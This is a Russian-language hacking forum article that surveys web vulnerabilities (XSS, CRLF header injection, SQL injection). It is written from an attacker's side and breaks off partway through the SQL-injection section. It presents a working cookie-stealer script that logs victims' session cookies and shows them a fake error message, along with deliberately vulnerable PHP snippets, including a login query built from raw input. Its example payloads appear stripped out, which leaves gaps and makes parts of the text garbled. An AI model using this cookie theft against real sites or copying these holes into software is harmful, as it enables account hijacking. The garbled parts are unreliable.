Обзор типов уязвимостей

В наши дни развелось до фига уязвимых программ и скриптов. Стоит глянуть на securityfocus.com или securitylab.ru как сразу можно в этом убедиться. Сплошные xss, инлюдинги, sql-инъекции... Пришло время систематизировать наши знания о них. Сегодя мы поговорим о: 1) XSS aka CSS aka Cross Site Scripting 2) SQL-injection 3) including 4) null-byte poison 5) PHP-including 6) Remote Command Execution в open() в Perl-скриптах Начнем с самых "безобидных" и закончим критическими уязвимостями. I. Cross Site Scripting. Атака "межсайтовый скриптинг" представляет собой внедрение произвольного HTML-кода в текст выходной страницы. Естественно, внедрять будем не что попало, а маленький JavaScript, который украдет cookies пользователя. Пример уязвимого скрипта xss.php [code=php]echo "

Hello, ".$_GET['name']."

";[/code] Изначально предполагалось, что скрипт будет здороваться с нами, но мы его научим другим вещам Попробуем вызвать его следующим образом: [color=#173bd3]xss.php?name=lamo

[/color] Скрипт послушно вставит значение параметра name в страницу и вот что выйдет: [code=html]

Hello, lamo

[/code] Т.е. кроме приветствия еще вылетит окошко с кукисами, установленными на этом домене. Для успещной эксплуатации уязвимости, конечно, следует сделать что-нибудь вроде этого: xss.php?name=lamo

А сам cookiestealer.php должен быть примерно слудующий: [code=php]$cookies=$_ENV['QUERY_STRING']; $f=fopen("cookies.log", "a+") or exit; fputs($f, "----new cookie----\r\n".$cookies."\r\n--------\r\n\r\n"); fclose($f); echo "Фатальная ошибка 56"; [/code] Как видно, скрипт послушно запишет переданные ему параметры в лог и уведомит пользователя о якобы произошедшей ошибке Так же уязвимыми могут быть скрипты, которые нефильтруют аргументы, передающиеся в header() Пример бажного скрипта: Code: header("Content-type: text/".$_GET['type']); echo "BlaBlaBla"; ?> Вызов: header.php?type=html%0d%0a%0d%0a Т.к. \r\n\r\n (в hex-виде - 0d 0a 0d 0a) является маркером конца заголовка, то последующие данные воспримутся браузером как код страницы. Конечно, пример достаточно нереалистичен, но, я думаю, ясно, как использовать данную уязвимость. II. SQL-injection Если скрипт подвержен уязвимости типа sql-инъекции, то удаленный атакующий может изменить sql-запрос и вывести совсем не те данные, на вывод которых был рассчитан этот скрипт. Пример уязвимого скрита: пусть есть скрипт авторизации: Code: $host = "localhost"; $user = "root"; $password = ""; $db = "test"; if(@mysql_connect($host, $user, $password)) { if(!mysql_select_db($db)) echo "Cannot select database $db"; } else echo "Cannot connect to $host, username $user"; if(isset($_POST['go'])) { $r=mysql_query("select * from users where login='".$_POST['login']."' and password='".$_POST['password']."'"); if(mysql_num_rows($r)==0) echo "Access denied"; else echo "Access granted"; } else { ?> Login:
Password:

Скачать файл txt fb2
Теги:
Добавил: AlkatraZ (3 ноя 2009 г., 13:24)
Рейтинг: (16)
Прочитано: 28450